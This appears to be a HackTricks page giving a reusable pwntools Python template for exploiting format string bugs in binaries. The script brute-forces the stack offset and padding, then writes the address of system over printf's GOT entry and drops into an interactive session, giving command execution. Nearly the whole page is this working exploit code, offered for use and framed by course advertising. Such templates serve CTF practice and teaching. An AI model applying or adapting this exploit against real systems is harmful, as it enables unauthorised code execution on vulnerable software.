# Format Strings Template
{% hint style="success" %}
Learn & practice AWS Hacking:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: 
[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
```python
from pwn import *
from time import sleep
###################
### CONNECTION ####
###################
# Define how you want to exploit the binary
LOCAL = True
REMOTETTCP = False
REMOTESSH = False
GDB = False
# Configure vulnerable binary
LOCAL_BIN = "./tyler"
REMOTE_BIN = "./tyler" #For ssh
# In order to exploit the format string you may need to append/prepend some string to the payload
# configure them here
PREFIX_PAYLOAD = b""
SUFFIX_PAYLOAD = b""
NNUM_ALREADY_WRITTEN_BYTES = 0
MAX_LENTGH = 999999 #Big num if not restricted
print(" ====================== ")
print("Selected options:")
print(f"PREFIX_PAYLOAD: {PREFIX_PAYLOAD}")
print(f"SUFFIX_PAYLOAD: {SUFFIX_PAYLOAD}")
print(f"NNUM_ALREADY_WRITTEN_BYTES: {NNUM_ALREADY_WRITTEN_BYTES}")
print(" ====================== ")
def connect_binary():
global P, ELF_LOADED, ROP_LOADED
if LOCAL:
P = process(LOCAL_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1338) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(elf)# Find ROP gadgets
#######################################
### Get format string configuration ###
#######################################
def send_payload(payload):
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
log.info("payload = %s" % repr(payload))
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
P.sendline(payload)
sleep(0.5)
return P.recv()
def get_formatstring_config():
global P
for offset in range(1,1000):
connect_binary()
P.clean()
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
if b"41" in recieved:
for padlen in range(0,4):
if b"41414141" in recieved:
connect_binary()
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
print(recieved)
if b"42424242" in recieved:
log.info(f"Found offset ({offset}) and padlen ({padlen})")
return offset, padlen
else:
connect_binary()
payload = b" " + payload
recieved = send_payload(payload).strip()
# In order to exploit a format string you need to find a position where part of your payload
# is being reflected. Then, you will be able to put in the position arbitrary addresses
# and write arbitrary content in those addresses
# Therefore, the function get_formatstring_config will find the offset and padd needed to exploit the format string
offset, padlen = get_formatstring_config()
# In this template, the GOT of printf (the part of the GOT table that points to where the printf
# function resides) is going to be modified by the address of the system inside the PLT (the
# part of the code that will jump to the system function).
# Therefore, next time the printf function is executed, system will be executed instead with the same
# parameters passed to printf
# In some scenarios you will need to loop1 more time to the vulnerability
# In that cases you need to overwrite a pointer in the .fini_array for example
# Uncomment the commented code below to gain 1 rexecution extra
#P_FINI_ARRAY = ELF_LOADED.symbols["__init_array_end"] # .fini_array address
#INIT_LOOP_ADDR = 0x8048614 # Address to go back
SYSTEM_PLT = ELF_LOADED.plt["system"]
P_GOT = ELF_LOADED.got["printf"]
#log.info(f"Init loop address: {hex(INIT_LOOP_ADDR)}")
#log.info(f"fini.array address: {hex(P_FINI_ARRAY)}")
log.info(f"System PLT address: {hex(SYSTEM_PLT)}")
log.info(f"Printf GOT address: {hex(P_GOT)}")
connect_binary()
if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
sleep(5)
format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
format_string.write(P_GOT, SYSTEM_PLT)
format_string.execute_writes()
# Now that printf function is executing system you just need to find a place where you can
# control the parameters passed to printf to execute arbitrary code.
P.interactive()
```
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}